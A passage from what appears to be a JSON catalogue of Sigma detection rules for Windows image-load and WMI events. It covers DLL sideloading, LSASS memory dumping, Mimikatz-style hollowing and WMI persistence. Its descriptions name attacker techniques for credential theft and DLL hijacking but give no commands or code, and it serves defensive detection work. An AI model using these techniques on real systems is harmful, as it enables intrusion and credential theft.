dbghelp/dbgcore DLL (used to make memory dumps) by suspicious processes.\nTools like ProcessHacker and some attacker tradecract use MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll.\nAs an example, SilentTrynity C2 Framework has a module that leverages this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker's machine.\n", "meta": { "author": "Perez Diego (@darkquassar), oscd.community, Ecco", "creation_date": "2019/10/27", "falsepositive": [ "Unknown" ], "filename": "image_load_susp_dbghelp_dbgcore_load.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6", "https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump", "https://www.pinvoke.net/default.aspx/dbghelp/MiniDumpWriteDump.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_dbghelp_dbgcore_load.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0e277796-5f23-4e49-a490-483131d4f6e1", "value": "Load of dbghelp/dbgcore DLL from Suspicious Process" }, { "description": "Detects DLL sideloading of DLLs that are part of antivirus software suchas McAfee, Symantec...etc", "meta": { "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", "creation_date": "2022/08/17", "falsepositive": [ "Applications that load the same dlls mentioned in the detection section. Investigate them and filter them out if a lot FPs are caused.", "Dell SARemediation plugin folder (C:\\Program Files\\Dell\\SARemediation\\plugin\\log.dll) is known to contain the 'log.dll' file.", "The Canon MyPrinter folder 'C:\\Program Files\\Canon\\MyPrinter\\' is known to contain the 'log.dll' file" ], "filename": "image_load_side_load_antivirus.yml", "level": "medium", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://hijacklibs.net/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_antivirus.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.privilege_escalation", "attack.t1574.001", "attack.t1574.002" ] }, "uuid": "552b6b65-df37-4d3e-a258-f2fc4771ae54", "value": "Antivirus Software DLL Sideloading" }, { "description": "Detects DLL sideloading of DLLs that are part of third party software (zoom, discord....etc)", "meta": { "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", "creation_date": "2022/08/17", "falsepositive": [ "Unknown" ], "filename": "image_load_side_load_third_party.yml", "level": "medium", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://hijacklibs.net/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_third_party.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.privilege_escalation", "attack.t1574.001", "attack.t1574.002" ] }, "uuid": "f9df325d-d7bc-4a32-8a1a-2cc61dcefc63", "value": "Third Party Software DLL Sideloading" }, { "description": "Detects potential DLL hijack of \"iertutil.dll\" found in the DCOM InternetExplorer.Application Class", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR), wagga", "creation_date": "2020/10/12", "falsepositive": [ "Unknown" ], "filename": "image_load_dcom_iertutil_dll_hijack.yml", "level": "critical", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/hunts/windows/201009-RemoteDCOMIErtUtilDLLHijack/notebook.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dcom_iertutil_dll_hijack.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.002", "attack.t1021.003" ] }, "related": [ { "dest-uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f354eba5-623b-450f-b073-0b5b2773b6aa", "value": "Potential DCOM InternetExplorer.Application DLL Hijack - Image Load" }, { "description": "Detects the image load of Python Core indicative of a Python script bundled with Py2Exe.", "meta": { "author": "Patrick St. John, OTR (Open Threat Research)", "creation_date": "2020/05/03", "falsepositive": [ "Legitimate Py2Exe Binaries", "Known false positive caused with Python Anaconda" ], "filename": "image_load_susp_python_image_load.yml", "level": "medium", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://unit42.paloaltonetworks.com/unit-42-technical-analysis-seaduke/", "https://www.py2exe.org/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_python_image_load.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027.002" ] }, "uuid": "cbb56d62-4060-40f7-9466-d8aaf3123f83", "value": "Python Py2Exe Image Load" }, { "description": "Detects .NET CLR DLLs being loaded by scripting applications such as wscript or cscript", "meta": { "author": "omkar72, oscd.community", "creation_date": "2020/10/14", "falsepositive": [ "Unknown" ], "filename": "image_load_susp_script_dotnet_clr_dll_load.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://web.archive.org/web/20221026202428/https://gist.github.com/code-scrap/d7f152ffcdb3e0b02f7f394f5187f008", "https://thewover.github.io/Introducing-Donut/", "https://github.com/tyranid/DotNetToJScript", "https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml" ], "tags": [ "attack.execution", "attack.privilege_escalation", "attack.t1055" ] }, "uuid": "4508a70e-97ef-4300-b62b-ff27992990ea", "value": "CLR DLL Loaded Via Scripting Applications" }, { "description": "The Fax service attempts to load ualapi.dll, which is non-existent. An attacker can then (side)load their own malicious DLL using this service.", "meta": { "author": "NVISO", "creation_date": "2020/05/04", "falsepositive": [ "Unlikely" ], "filename": "image_load_susp_fax_dll.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://windows-internals.com/faxing-your-way-to-system/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_fax_dll.yml" ], "tags": [ "attack.persistence", "attack.defense_evasion", "attack.t1574.001", "attack.t1574.002" ] }, "uuid": "828af599-4c53-4ed2-ba4a-a9f835c434ea", "value": "Fax Service DLL Search Order Hijack" }, { "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2019/09/12", "falsepositive": [ "Unknown" ], "filename": "image_load_alternate_powershell_hosts_moduleload.yml", "level": "low", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190610201010.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_alternate_powershell_hosts_moduleload.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fe6e002f-f244-4278-9263-20e4b593827f", "value": "Alternate PowerShell Hosts - Image" }, { "description": "Detects potential DLL sideloading using ClassicExplorer32.dll from the Classic Shell software", "meta": { "author": "frack113", "creation_date": "2022/12/13", "falsepositive": [ "Unknown" ], "filename": "image_load_side_load_classicexplorer32.yml", "level": "medium", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/6d8cabb0-dcda-44b6-8050-28d6ce281687/", "https://blogs.blackberry.com/en/2022/12/mustang-panda-uses-the-russian-ukrainian-war-to-attack-europe-and-asia-pacific-targets", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_classicexplorer32.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.privilege_escalation", "attack.t1574.001", "attack.t1574.002" ] }, "uuid": "caa02837-f659-466f-bca6-48bde2826ab4", "value": "Potential DLL Sideloading Via ClassicExplorer32.dll" }, { "description": "Detects DLL hijacking technique used by NOBELIUM in their FoggyWeb backdoor. Which loads a malicious version of the expected \"version.dll\" dll", "meta": { "author": "Florian Roth", "creation_date": "2021/09/27", "falsepositive": [ "Unlikely" ], "filename": "image_load_foggyweb_nobelium.yml", "level": "critical", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_foggyweb_nobelium.yml" ], "tags": [ "attack.resource_development", "attack.t1587" ] }, "related": [ { "dest-uuid": "edadea33-549c-4ed1-9783-8f5a5853cbdf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "640dc51c-7713-4faa-8a0e-e7c0d9d4654c", "value": "FoggyWeb Backdoor DLL Loading" }, { "description": "Detects DLL sideloading of \"dbghelp.dll\"", "meta": { "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", "creation_date": "2022/10/25", "falsepositive": [ "Legitimate applications loading their own versions of the DLL mentioned in this rule" ], "filename": "image_load_side_load_dbghelp_dll.yml", "level": "medium", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://hijacklibs.net/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbghelp_dll.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.privilege_escalation", "attack.t1574.001", "attack.t1574.002" ] }, "uuid": "6414b5cd-b19d-447e-bb5e-9f03940b5784", "value": "DLL Sideloading Of DBGHELP.DLL" }, { "description": "Detects DLL sideloading of DLLs that are loaded by the SCM for some services (IKE, IKEEXT, SessionEnv) which do not exists on a typical modern system", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/01", "falsepositive": [ "Unknown" ], "filename": "image_load_side_load_scm.yml", "level": "medium", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992", "https://decoded.avast.io/martinchlumecky/png-steganography/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_scm.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.privilege_escalation", "attack.t1574.001", "attack.t1574.002" ] }, "uuid": "bc3cc333-48b9-467a-9d1f-d44ee594ef48", "value": "SCM DLL Sideload" }, { "description": "Detects non wmiprvse loading WMI modules", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", "creation_date": "2019/08/10", "falsepositive": [ "Unknown" ], "filename": "image_load_wmi_module_load.yml", "level": "informational", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190811201010.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmi_module_load.yml" ], "tags": [ "attack.execution", "attack.t1047" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "671bb7e3-a020-4824-a00e-2ee5b55f385e", "value": "WMI Modules Loaded" }, { "description": "Detects rundll32 loading a renamed comsvcs.dll to dump process memory", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/14", "falsepositive": [ "Unlikely" ], "filename": "image_load_rundll32_loading_renamed_comsvcs.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://twitter.com/sbousseaden/status/1555200155351228419", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_rundll32_loading_renamed_comsvcs.yml" ], "tags": [ "attack.credential_access", "attack.defense_evasion", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8cde342c-ba48-4b74-b615-172c330f2e93", "value": "Rundll32 Loading Renamed Comsvcs DLL" }, { "description": "Detects both of CVE-2022-30190 / Follina and DogWalk vulnerability exploiting msdt.exe binary to load sdiageng.dll binary", "meta": { "author": "Greg (rule)", "creation_date": "2022/06/17", "falsepositive": [ "Unknown" ], "filename": "image_load_msdt_sdiageng.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://www.securonix.com/blog/detecting-microsoft-msdt-dogwalk/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_msdt_sdiageng.yml" ], "tags": [ "attack.defense_evasion", "attack.t1202", "cve.2022.30190" ] }, "related": [ { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ec8c4047-fad9-416a-8c81-0f479353d7f6", "value": "MSDT.exe Loading Diagnostic Library" }, { "description": "Detects loading of a DLL by the VMware Xfer utility from the non-default directory which may be an attempt to sideload arbitrary DLL", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/02", "falsepositive": [ "Unlikely" ], "filename": "image_load_vmware_xfer_load_dll_from_nondefault_path.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_vmware_xfer_load_dll_from_nondefault_path.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574.002" ] }, "uuid": "9313dc13-d04c-46d8-af4a-a930cc55d93b", "value": "VMware Xfer Loading DLL from Nondefault Path" }, { "description": "Loading unsigned image (DLL, EXE) into LSASS process", "meta": { "author": "Teymur Kheirkhabarov, oscd.community", "creation_date": "2019/10/22", "falsepositive": [ "Valid user connecting using RDP" ], "filename": "image_load_unsigned_image_loaded_into_lsass.yml", "level": "medium", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_unsigned_image_loaded_into_lsass.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "857c8db3-c89b-42fb-882b-f681c7cf4da2", "value": "Unsigned Image Loaded Into LSASS Process" }, { "description": "Detects VB DLL's loaded by an office application. Which could indicate the presence of VBA Macros.", "meta": { "author": "Antonlovesdnb", "creation_date": "2020/02/19", "falsepositive": [ "Alerts on legitimate macro usage as well, will need to filter as appropriate" ], "filename": "image_load_susp_winword_vbadll_load.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_winword_vbadll_load.yml" ], "tags": [ "attack.execution", "attack.t1204.002" ] }, "related": [ { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e6ce8457-68b1-485b-9bdd-3c2b5d679aa9", "value": "VBA DLL Loaded Via Office Application" }, { "description": "Detects when a system process (ie located in system32, syswow64...etc) loads a DLL from a suspicious location such as %temp%", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/17", "falsepositive": [ "Unknown" ], "filename": "image_load_susp_dll_load_system_process.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC (Idea)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_dll_load_system_process.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070" ] }, "uuid": "9e9a9002-56c4-40fd-9eff-e4b09bfa5f6c", "value": "DLL Load By System Process From Suspicious Locations" }, { "description": "Detects Loading of samlib.dll, WinSCard.dll from untypical process e.g. through process hollowing by Mimikatz", "meta": { "author": "Markus Neis", "creation_date": "2018/01/07", "falsepositive": [ "Very likely, needs more tuning" ], "filename": "image_load_susp_uncommon_image_load.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_uncommon_image_load.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574.002" ] }, "uuid": "e32ce4f5-46c6-4c47-ba69-5de3c9193cd7", "value": "Possible Process Hollowing Image Loading" }, { "description": "Detects an image load pattern as seen when a tool named PRIVATELOG is used and rarely observed under legitimate circumstances", "meta": { "author": "Florian Roth", "creation_date": "2021/09/07", "falsepositive": [ "Rarely observed" ], "filename": "image_load_usp_svchost_clfsw32.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_usp_svchost_clfsw32.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1055" ] }, "uuid": "33a2d1dd-f3b0-40bd-8baf-7974468927cc", "value": "APT PRIVATELOG Image Load Pattern" }, { "description": "Detects signs of the WMI script host process %SystemRoot%\\system32\\wbem\\scrcons.exe functionality being used via images being loaded by a process.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/09/02", "falsepositive": [ "Legitimate event consumers", "Dell computers on some versions register an event consumer that is known to cause false positives when brightness is changed by the corresponding keyboard button" ], "filename": "image_load_scrcons_imageload_wmi_scripteventconsumer.yml", "level": "medium", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-200902020333.html", "https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/", "https://twitter.com/HunterPlaybook/status/1301207718355759107", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_scrcons_imageload_wmi_scripteventconsumer.yml" ], "tags": [ "attack.lateral_movement", "attack.privilege_escalation", "attack.persistence", "attack.t1546.003" ] }, "related": [ { "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b439f47d-ef52-4b29-9a2f-57d8a96cb6b8", "value": "WMI Script Host Process Image Loaded" }, { "description": "Detects loading of essential DLL used by PowerShell, but not by the process powershell.exe. Detects meterpreter's \"load powershell\" extension.", "meta": { "author": "Tom Kern, oscd.community, Natalia Shornikova, Tim Shelton", "creation_date": "2019/11/14", "falsepositive": [ "Used by some .NET binaries, minimal on user workstation.", "Used by Microsoft SQL Server Management Studio" ], "filename": "image_load_in_memory_powershell.yml", "level": "medium", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://github.com/p3nt4/PowerShdll", "https://adsecurity.org/?p=2921", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_in_memory_powershell.yml" ], "tags": [ "attack.t1059.001", "attack.execution" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "092bc4b9-3d1d-43b4-a6b4-8c8acd83522f", "value": "In-memory PowerShell" }, { "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network and loading it for a WMI DLL Hijack scenario.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/10/12", "falsepositive": [ "Unknown" ], "filename": "image_load_wmiprvse_wbemcomn_dll_hijack.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009173318.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmiprvse_wbemcomn_dll_hijack.yml" ], "tags": [ "attack.execution", "attack.t1047", "attack.lateral_movement", "attack.t1021.002" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7707a579-e0d8-4886-a853-ce47e4575aaa", "value": "Wmiprvse Wbemcomn DLL Hijack" }, { "description": "IKEEXT and SessionEnv service, as they call LoadLibrary on files that do not exist within C:\\Windows\\System32\\ by default.\nAn attacker can place their malicious logic within the PROCESS_ATTACH block of their library and restart the aforementioned services \"svchost.exe -k netsvcs\" to gain code execution on a remote machine.\n", "meta": { "author": "SBousseaden", "creation_date": "2019/10/28", "falsepositive": [ "Unknown" ], "filename": "image_load_svchost_dll_search_order_hijack.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_svchost_dll_search_order_hijack.yml" ], "tags": [ "attack.persistence", "attack.defense_evasion", "attack.t1574.002", "attack.t1574.001" ] }, "uuid": "602a1f13-c640-4d73-b053-be9a2fa58b77", "value": "Svchost DLL Search Order Hijack" }, { "description": "Detects the load of advapi31.dll by a process running in an uncommon folder", "meta": { "author": "frack113", "creation_date": "2022/02/03", "falsepositive": [ "Unknown" ], "filename": "image_load_susp_advapi32_dll.yml", "level": "informational", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://github.com/hlldz/Phant0m", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_advapi32_dll.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070" ] }, "uuid": "d813d662-785b-42ca-8b4a-f7457d78d5a9", "value": "Suspicious Load of Advapi31.dll" }, { "description": "Detect DLL Load from Spooler Service backup folder", "meta": { "author": "FPT.EagleEye, Thomas Patzke (improvements)", "creation_date": "2021/06/29", "falsepositive": [ "Loading of legitimate driver" ], "filename": "image_load_spoolsv_dll_load.yml", "level": "informational", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://github.com/hhlxf/PrintNightmare", "https://github.com/ly4k/SpoolFool", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_spoolsv_dll_load.yml" ], "tags": [ "attack.persistence", "attack.defense_evasion", "attack.privilege_escalation", "attack.t1574", "cve.2021.1675", "cve.2021.34527" ] }, "related": [ { "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "02fb90de-c321-4e63-a6b9-25f4b03dfd14", "value": "Windows Spooler Service Suspicious Binary Load" }, { "description": "Detects DLL sideloading of DLLs that are part of Microsoft Office from non standard location", "meta": { "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", "creation_date": "2022/08/17", "falsepositive": [ "Unlikely" ], "filename": "image_load_side_load_office_dlls.yml", "level": "medium", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://hijacklibs.net/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_office_dlls.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.privilege_escalation", "attack.t1574.001", "attack.t1574.002" ] }, "uuid": "829a3bdf-34da-4051-9cf4-8ed221a8ae4f", "value": "Microsoft Office DLL Sideload" }, { "description": "Detects potential use of UIPromptForCredentials functions by looking for some of the DLLs needed for it.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/10/20", "falsepositive": [ "Other legitimate processes loading those DLLs in your environment." ], "filename": "image_load_uipromptforcreds_dlls.yml", "level": "medium", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-creduipromptforcredentialsa", "https://securitydatasets.com/notebooks/small/windows/06_credential_access/SDWIN-201020013208.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md#atomic-test-2---powershell---prompt-user-for-password", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uipromptforcreds_dlls.yml" ], "tags": [ "attack.credential_access", "attack.collection", "attack.t1056.002" ] }, "uuid": "9ae01559-cf7e-4f8e-8e14-4c290a1b4784", "value": "UIPromptForCredentials DLLs" }, { "description": "Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.", "meta": { "author": "Ensar Şamil, @sblmsrsn, @oscd_initiative", "creation_date": "2020/10/06", "falsepositive": [ "Legitimate usage by software developers/testers" ], "filename": "image_load_tttracer_mod_load.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://twitter.com/mattifestation/status/1196390321783025666", "https://twitter.com/oulusoyum/status/1191329746069655553", "https://lolbas-project.github.io/lolbas/Binaries/Tttracer/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_tttracer_mod_load.yml" ], "tags": [ "attack.defense_evasion", "attack.credential_access", "attack.t1218", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e76c8240-d68f-4773-8880-5c6f63595aaf", "value": "Time Travel Debugging Utility Usage - Image" }, { "description": "Detects loading of Microsoft Defender's DLLs by its processes (MpCmdRun and NisSrv) from the non-default directory which may be an attempt to sideload arbitrary DLL", "meta": { "author": "Bhabesh Raj", "creation_date": "2022/08/02", "falsepositive": [ "Very unlikely" ], "filename": "image_load_defender_load_dll_from_nondefault_path.yml", "level": "high", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_defender_load_dll_from_nondefault_path.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574.002" ] }, "uuid": "418dc89a-9808-4b87-b1d7-e5ae0cb6effc", "value": "Microsoft Defender Loading DLL from Nondefault Path" }, { "description": "Detects suspicious encoded payloads in WMI Event Consumers", "meta": { "author": "Florian Roth", "creation_date": "2021/09/01", "falsepositive": [ "Unknown" ], "filename": "sysmon_wmi_susp_encoded_scripts.yml", "level": "high", "logsource.category": "wmi_event", "logsource.product": "windows", "refs": [ "https://github.com/RiccardoAncarani/LiquidSnake", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_susp_encoded_scripts.yml" ], "tags": [ "attack.execution", "attack.t1047", "attack.persistence", "attack.t1546.003" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "83844185-1c5b-45bc-bcf3-b5bf3084ca5b", "value": "Suspicious Encoded Scripts in a WMI Consumer" }, { "description": "Detects creation of WMI event subscription persistence method", "meta": { "author": "Tom Ueltschi (@c_APT_ure)", "creation_date": "2019/01/12", "falsepositive": [ "Exclude legitimate (vetted) use of WMI event subscription in your network" ], "filename": "sysmon_wmi_event_subscription.yml", "level": "medium", "logsource.category": "wmi_event", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_event_subscription.yml" ], "tags": [ "attack.persistence", "attack.t1546.003" ] }, "related": [ { "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0f06a3a5-6a09-413f-8743-e6cf35561297", "value": "WMI Event Subscription" }, { "description": "Detects suspicious commands that are related to scripting/powershell in WMI Event Consumers", "meta": { "author": "Florian Roth, Jonhnathan Ribeiro", "creation_date": "2019/04/15", "falsepositive": [ "Legitimate administrative scripts" ], "filename": "sysmon_wmi_susp_scripting.yml", "level": "high", "logsource.category": "wmi_event", "logsource.product": "windows", "refs": [ "https://github.com/RiccardoAncarani/LiquidSnake", "https://github.com/Neo23x0/signature-base/blob/615bf1f6bac3c1bdc417025c40c073e6c2771a76/yara/gen_susp_lnk_files.yar#L19", "https://in.security/an-intro-into-abusing-and-identifying-wmi-event-subscriptions-for-persistence/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_susp_scripting.yml" ], "tags": [ "attack.execution", "attack.t1059.005" ] }, "related": [ { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fe21810c-2a8c-478f-8dd3-5a287fb2a0e0", "value": "Suspicious Scripting in a WMI Consumer" }, { "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network", "meta": { "author": 